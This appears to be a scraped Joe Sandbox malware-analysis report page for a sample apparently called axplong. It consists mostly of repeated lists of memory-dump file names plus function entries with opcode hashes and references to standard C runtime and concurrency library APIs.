Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 58ccf48b06688742559f71fbb0ea44f5f21ce7daba7e2e66bc9b92012559266c
Instruction ID: 4b11cf0438e65e64fa9a4b8a0f0fa2fa031ab0ec42c4429fd0f94ffaf2aa4ae9
Opcode Fuzzy Hash: 58ccf48b06688742559f71fbb0ea44f5f21ce7daba7e2e66bc9b92012559266c
Instruction Fuzzy Hash: 3F3112B2B016109FDF059B24C881BED77A7AF89710F084279D90A9F3A5EF30AD418B90

Function 006B2C2C Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 006B2C3F

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 6987e27c78233f1d4d1a901dd02c863a4c7d6fc3804eb518d8824eb064b83de3
Instruction ID: bdf8c22a813d853d48d353d3b40cd6bdcd6b55dbabf55dc066655082a0ff2dce
Opcode Fuzzy Hash: 6987e27c78233f1d4d1a901dd02c863a4c7d6fc3804eb518d8824eb064b83de3
Instruction Fuzzy Hash: F63117B5A0030ADFCF54DF94C8D0AEE7BBABF44310F1404AAD9459B346D770AA85DB91

Function 006C1322 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006C1329
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 006C1374
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 006C13A7
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 006C1457

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: a24358f1b9d8ceb1eee5b60a2756f64542563a03df1331d0f89c0c001d6c55ee
Instruction ID: c050cebc2ef0c3e790a8b6149ae4f39886554a80f751684022ab46a8a23dc91a
Opcode Fuzzy Hash: a24358f1b9d8ceb1eee5b60a2756f64542563a03df1331d0f89c0c001d6c55ee
Instruction Fuzzy Hash: 5E316FB1A006059FCF54DFA8C4919FDBBB7FF4A710B14822EE415AB781CB349941CB94

Function 006ABAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006ABAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 006ABB14
_xtime_get.LIBCPMT ref: 006ABB37
__Xtime_diff_to_millis2.LIBCPMT ref: 006ABB43

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 89cd37c8eec8293584f6b4ab9ccb8e18fb23059ae53279cd9d9df9d29aa15464
Instruction ID: 635c8928090f637271836f19d8d538a78d966801ce8b738f0ed230705b7f1222
Opcode Fuzzy Hash: 89cd37c8eec8293584f6b4ab9ccb8e18fb23059ae53279cd9d9df9d29aa15464
Instruction Fuzzy Hash: FD214F71E002099FDF10EFA4CC819BEBBBAEF09724F004069F601A7261DB70AD419FA5

Function 006B9BC5 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006B9BCC
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 006B9C18
std::bad_exception::bad_exception.LIBCMT ref: 006B9C2E
std::bad_exception::bad_exception.LIBCMT ref: 006B9C9A

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: e621377b270f6d19bd26d83f5e6fd40f890c946f5c374aa39eaba08b5a1c2caf
Instruction ID: b6296cee2b4608638adec1ec815c08a535a2ec3a776b0d47ab751b577b3101cd
Opcode Fuzzy Hash: e621377b270f6d19bd26d83f5e6fd40f890c946f5c374aa39eaba08b5a1c2caf
Instruction Fuzzy Hash: ED21C1B1905258DFDB44EF64D4829EDBBF7AF05310B20402EF501AB251EB316D81CB64

Function 006B9F56 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 006B9F99

Part of subcall function 006BB490: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 006BB4DF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 006B9FAF
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 006B9FFB

Part of subcall function 006BAA71: List.LIBCONCRT ref: 006BAAA7

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 006BA00B

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
